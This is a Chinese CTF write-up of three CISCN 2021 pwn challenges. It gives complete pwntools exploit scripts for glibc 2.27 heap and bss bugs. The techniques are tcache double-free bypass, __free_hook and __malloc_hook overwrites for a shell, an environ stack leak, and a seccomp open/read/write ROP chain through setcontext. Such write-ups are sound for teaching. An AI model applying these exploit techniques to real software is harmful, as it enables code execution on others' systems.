作为学习不到一年的练习生,今年第一次参加国赛,本以为题目会比较温柔,但是最后只做出了一道pwn题,本来还有两道pwn题是有机会的,但还是缺少一些知识或者技巧吧,没做出来,心态爆炸,比赛结束。我看过的pwn题大概是这样构成的,pwn题出了一道arm 64位结构的,其余都是正常的linux下pwn题,使用libc-2.27.so,有一道考了沙箱机制。
ciscn_2021_lonelywolf
这是我做出来的那道pwn题,这个pwn题整体说来不算难,是比较常规的pwn题,使用libc-2.27.so,比赛给的libc版本存在tcache double free检测,需要绕过。这一点和我平时在BUUCTF oj 上练习的版本以及自己在官网上找的debug版本好像有所区别,虽然同样是libc-2.27.so,但这些版本并不存在tcache double free检测。
下面对题目简单分析一下,题目保护全开,整个题目实现了增删查改四个功能,这里有个trick,每个功能会要求输入对应的index,但实际上并没有用,因为题目只会保留最新的一个堆块指针和大小,并没有使用链表或者数组之类的结构来存储堆块指针。当然index会作为判断条件之一,我们只需要输入0,让if检测通过即可。如下图所示,展示了这个trick:
如下面两个截图所示,是这道题目存在的两个漏洞,第一个漏洞是在edit功能里面,这里存在off_by_null,不过我的利用方式中并没有使用这个漏洞,所以这道题是存在多种不同的利用方式的。然后第二个漏洞在free功能里面,存在明显的UAF漏洞。
接下来介绍下我的利用思路,由于题目限制了alloc的chunk大小,所以无法申请unsorted bin大小的堆块。所以这里首先构造double free,然后泄露出堆地址,计算出和tcache控制堆块head的偏移,然后在double free的基础上将堆块分配到head处。随后我们就可以修改控制堆块head的标志位,从而释放堆块到unsorted bin中,然后泄露处libc的地址。这里我们修改0x250的chunk标记位0xff,随后释放这个tcache控制堆块head,大小刚好也就是0x250,所以之后head会进入unsorted bin,此时利用我们就能leak出libc地址了。之后同样是修改tcache控制堆块head的一些标记,将 free_hook-0x8 的地址填入0x40的tcache堆块指针中,随后申请相同堆块的大小就能将堆块分配到 free_hook-0x8 上,最后填入"/bin/sh\x00"+system,free即可获取shell。下面是完整的exp:
from pwn import *
ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
libc_path = "/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so"
p = process([ld_path, "./lonelywolf"], env={
"LD_PRELOAD":libc_path})
# context.log_level = "debug"
def new(size):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline("0")
p.recvuntil("Size: ")
p.sendline(str(size))
def edit(con):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("0")
p.recvuntil("Content: ")
p.sendline(con)
def show():
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("0")
def free():
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline("0")
# leak heap addr
new(0x78)
free()
edit("a"*0x10) # bypass tcache double free
free()
show()
# print(p.recv())
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))
# alloc to tcache control head
head = info-0x250
new(0x78)
edit(p64(head))
new(0x78)
new(0x78)
# free head --> leak libc
pad = p64(0)*4+p64(0x00000000ff000000)
edit(pad)
free()
show()
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print(hex(info))
# count
libc = ELF("/home/fanxinli/ctf_go/pwn/ciscn/lonely/libc-2.27.so")
base = info-0x70-libc.sym["__malloc_hook"]
sys = base+libc.sym["system"]
f_hook = base+libc.sym["__free_hook"]
print("f_hook: ", hex(f_hook))
print("sys: ", hex(sys))
# alloc to free_hook-0x8
new(0x40)
edit(p64(0)*4)
new(0x10)
edit(p64(f_hook-8)*2)
new(0x40)
edit(b"/bin/sh\x00"+p64(sys))
free()
p.interactive()
ciscn_2021_pwny
这道题是pwn题里面分值最低的一道,但是最后我看解题人数,这道题做出来的人反而比上面一道还要少。我个人觉得这道题也并不算难,代码量也比较少,不过利用思维确实比较巧妙,也考了一个scanf函数在遇到过长输入时会申请堆的知识点。我当时就是卡在最后一步,不知道scanf函数可以申请堆块,也就无法利用one_gadget。
下面简单分析一下这道题目,这道题目同样保护全开,只有read和write两个功能,都是往bss段上读写数据,并没有使用malloc或者free之类的函数,看起来好像和堆利用无关。
如下图所示,题目一开始读取了产生随机数的文件,并将其返回值作为后面read和write的第一个参数,所以这里我将其命名为fd,注意这个值是存储在bss段上的。
再看下面两个截图,分别是write和read函数的具体实现,write函数先会让我们输入index,也就是后面的offset,接着调用read从fd中读取值,并将该值覆盖到bss_data中offset偏移处,bss_data也是位于bss段。注意这里存在溢出,也就是偏移可以任取,为正,为负,为很大的数都可以,这也是本题的漏洞所在。再看read的功能实现,和write相似,但是read只是打印bss_data偏移为offset处的数据。所以我们可以将write视为具有edit功能,read具有show的功能。
下面介绍下利用思路,当时比赛时做这道题一开始也很蒙蔽,因为fd是随机产生的,程序动不动还会运行出错。所以这里第一步就是改fd的值,参见下面的代码,改fd非常简单。前面我们说了,write具有edit功能,可以用偏移的方式修改bss段上的数据,因此找好fd的偏移,调用两次write写fd位置就会将fd置为0,此时就正常获取我们的输入了。然后第二步就是利用read具有的show功能,找好bss和data上的数据泄露出来,我们就可以获取libc和代码基地址。最后就是利用scanf读取过长的输入时会分配chunk,也就是说会使用malloc_hook,此时就可以在malloc_hook处写入one_gadget。当然直接写one_gadget不一定成功,还需要realloc还调整一下,完整exp如下,这是我本地调试的结果,其中的one_gadget和realloc的偏移会和比赛环境的不一样。
from pwn import *
ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
# libc_path = "/home/fanxinli/ctf_go/pwn/ciscn/pwny/libc-2.27.so"
# p = process([ld_path, "./pwny"], env={"LD_PROLOAD":libc_path})
# context.log_level = "debug"
# p = remote("124.71.230.113", 24425)
p = process([ld_path, "./pwny"])
def write(idx):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def write_con(idx, con):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.send(con)
def read(con):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.send(con)
# fd --> 0
write(256)
write(256)
# leak libc
read(p64(0xfffffffffffffffc)) # bss --> stderr
p.recvuntil("Result: ")
info = p.recvuntil("\n", drop=True)
libc_info = int(info, 16)
print("stderr: ", hex(libc_info))
# leak code addr
read(p64(0xfffffffffffffff5)) # data --> off_202008
p.recvuntil("Result: ")
info = p.recvuntil("\n", drop=True)
code_base = int(info, 16)-0x202008
print("code base: ", hex(code_base))
# count
# libc = ELF("./libc-2.27.so")
libc = ELF("/home/fanxinli/ctf_go/glibc-2.27-64/lib/libc-2.27.so")
base = libc_info-libc.sym["_IO_2_1_stderr_"]
print("libc base: ", hex(base))
m_hook = base+libc.sym["__malloc_hook"]
print("m_hook: ", hex(m_hook))
realloc = base+libc.sym["realloc"]
print("realloc: ", hex(realloc))
# oneshot = [0x4f3d5, 0x4f432, 0x10a41c]
oneshot = [0x415b6, 0x4160a, 0xdfae1]
oneshot = base+oneshot[1]
print("oneshot: ", hex(oneshot))
# overwrite realloc_hook to oneshot
# overwrite malloc_hook to readlloc+0x9
offset = (m_hook-code_base-0x202060)/8
print("offset: ", offset)
write_con(int(offset), p64(realloc+9))
write_con(int(offset-1), p64(oneshot))
p.sendlineafter(":", b"1"*0x400) # scanf
p.interactive()
上面第一种方式主要是利用了scanf函数的特性,结合了堆题相关的知识,但实际上也可以完全把这道题看成栈溢出的题。
接上面的分析,我们已经可以泄露出libc地址以及代码基址,所以当成栈溢出题的话就需要覆盖返回地址,此时就还需要泄露出栈上的地址才行。这里我们利用libc中environ存储了栈上环境变量的特性来泄露出栈上的地址,再结合动态调试找到write功能函数返回地址和泄露出来栈位置的偏移,最后将返回地址覆盖为onegadget即可拿到shell。由于是在栈上,这里寄存器rax的条件很好满足,所以也就不需要调整栈来满足onegadget的执行条件。完整exp如下,这里注意下面的偏移和onegadget地址是我本地libc调试结果,和官方libc略有出入。
from pwn import *
ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
# libc_path = "/home/fanxinli/ctf_go/pwn/ciscn/pwny/libc-2.27.so"
# p = remote("124.71.230.113", 24425)
p = process([ld_path, "./pwny"])
def write(idx):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def write_con(idx, con):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.send(con)
def read(con):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.send(con)
# fd --> 0
write(256)
write(256)
# leak libc
read(p64(0xfffffffffffffffc))
p.recvuntil("Result: ")
info = p.recvuntil("\n", drop=True)
libc_info = int(info, 16)
print("stderr: ", hex(libc_info))
# leak code addr
read(p64(0xfffffffffffffff5))
p.recvuntil("Result: ")
info = p.recvuntil("\n", drop=True)
code_base = int(info, 16)-0x202008
print("code base: ", hex(code_base))
# count
# libc = ELF("./libc-2.27.so")
libc = ELF("/home/fanxinli/ctf_go/glibc-2.27-64/lib/libc-2.27.so")
base = libc_info-libc.sym["_IO_2_1_stderr_"]
environ = base+libc.sym["environ"]
print("environ: ", hex(environ))
oneshot = [0x415b6, 0x4160a, 0xdfae1]
oneshot = base+oneshot[0]
# leak stack addr
offset = int((environ-code_base-0x202060)/8)
read(p64(offset & 0xffffffffffffffff))
p.recvuntil("Result: ")
info = p.recvuntil("\n", drop=True)
write_ret = int(info, 16)-0x118
print("write_ret: ", hex(write_ret))
# attack
offset = int((write_ret-code_base-0x202060)/8)
write_con(offset, p64(oneshot))
p.interactive()
ciscn_2021_silverwolf
这道题和上面的lonelywolf其实是一道题,唯一的区别就是增加了沙箱机制,只允许执行open/read/write三个系统调用,因此也就无法使用system或者onegadget来获取shell了,增加的沙箱代码如下截图所示。对沙箱机制不熟悉的可以参考这篇博文 – pwn – 沙盒机制详解。
下面讲解一下该题目的利用方法,这道题目出的时候是给了存储flag的文件名的,毕竟在执行open时需要知道文件名。因为像这类沙箱机制的题目,一般都是采用执行open/read/write的系统调用方式来获取flag,简称为orw。本题保护全开,又无法执行mprotect系统调用开辟一个供shellcode使用的空间,所以只能采取rop的方式来执行orw,最后获取到flag。
利用思路仍然是先获取heap addr,然后按照lonelywolf的利用方式泄露出libc,稍有不同的是执行seccomp函数本身会申请内存,所以堆块结构会略有不同,前面的exp代码会有些变化。构造rop链的话,可以利用libc来构造,执行open的话采用syscall的方式,因为使用直接执行open函数采用的是openat调用,所以不行。最后将free_hook修改为setcontext,利用setcontext函数来设置上下文,从而达到控制程序流程的效果。完整exp如下,要说细节的话,就是通过修改tcache control head来实现目的地址分配这里,稍微复杂一些。
from pwn import *
ld_path = "/home/fanxinli/ctf_go/glibc-2.27-64/lib/ld-2.27.so"
libc_path = "/usr/lib/x86_64-linux-gnu/libseccomp.so.2.5.1"
p = process([ld_path, "./silverwolf"], env={
"LD_PRELOAD":libc_path})
# context.log_level = "debug"
def new(size):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline("0")
p.recvuntil("Size: ")
p.sendline(str(size))
def edit(con):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("0")
p.recvuntil("Content: ")
p.sendline(con)
def show():
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("0")
def free():
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline("0")
# leak heap addr
new(0x30)
free()
edit("a"*0x10)
free()
show()
# print(p.recv())
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
heap_base = info-0x1920
print("heap base: ", hex(heap_base))
# alloc to tcache control head
head = heap_base+0x10
new(0x30)
edit(p64(head))
new(0x30)
new(0x30)
# leak libc
pad = p64(0)*4+p64(0x00000000ff000000)
edit(pad)
free()
show()
p.recvuntil("Content: ")
info = p.recvuntil("\n", drop=True)
info = u64(info.ljust(8, b"\x00"))
print("libc: ", hex(info))
# count
# libc = ELF("./libc-2.27.so")
libc = ELF("/home/fanxinli/ctf_go/glibc-2.27-64/lib/libc-2.27.so")
base = info-0x70-libc.sym["__malloc_hook"]
setcontext = base+libc.sym["setcontext"]+53
f_hook = base+libc.sym["__free_hook"]
print("libc base: ", hex(base))
print("setcontext_53: ", hex(setcontext))
print("f_hook: ", hex(f_hook))
# orw rop
############
rop_addr = heap_base+0x1000
flag_addr = heap_base+0x2000
# local debug, addr may diff with orginal
pop_rax_ret = base+0x000000000001ced0
pop_rdi_ret = base+0x000000000002144f
pop_rsi_ret = base+0x0000000000021e22
pop_rdx_ret = base+0x0000000000001b96
# open_f = base+libc.sym["open"]
read_f = base+libc.sym["read"]
write_f = base+libc.sym["write"]
syscall = read_f+0xf
# rop chain
rop = p64(pop_rdi_ret)+p64(flag_addr)
rop += p64(pop_rsi_ret)+p64(0)
rop += p64(pop_rax_ret)+p64(2)
rop += p64(syscall)
rop += p64(pop_rdi_ret)+p64(3)
rop += p64(pop_rsi_ret)+p64(flag_addr)
rop += p64(pop_rdx_ret)+p64(0x30)
rop += p64(read_f)
rop += p64(pop_rdi_ret)+p64(1)
rop += p64(pop_rsi_ret)+p64(flag_addr)
rop += p64(pop_rdx_ret)+p64(0x30)
rop += p64(write_f)
print("orw rop len is: ", hex(len(rop)))
############
# modify tcache control head
new(0x48)
edit(p64(0)*9)
for i in range(5):
new(0x10)
new(0x18)
edit(p64(heap_base+0x50))
new(0x38)
# 0x20 0x30 0x40
pad = p64(f_hook)+p64(heap_base+0x2000)+p64(heap_base+0x20A0)
# 0x50 0x60 0x70 0x80
pad += p64(heap_base+0x2000)+p64(rop_addr+0x60)+p64(rop_addr)+p64(0)
edit(pad)
# overwrite free_hook to setcontext
new(0x10)
edit(p64(setcontext))
# heap_base+0x2000 --> flag filename
new(0x20)
edit("./flag\x00")
# heap_base+0x20A0 --> setcontext arg
new(0x30)
edit(p64(rop_addr)+p64(pop_rdi_ret+1))
# heap_base+0x2000 --> orw rop
new(0x60)
edit(rop[:0x60])
new(0x50)
edit(rop[0x60:])
# setcontext(heap_base+0x2000)
new(0x40)
free()
p.interactive()
不忘初心,砥砺前行!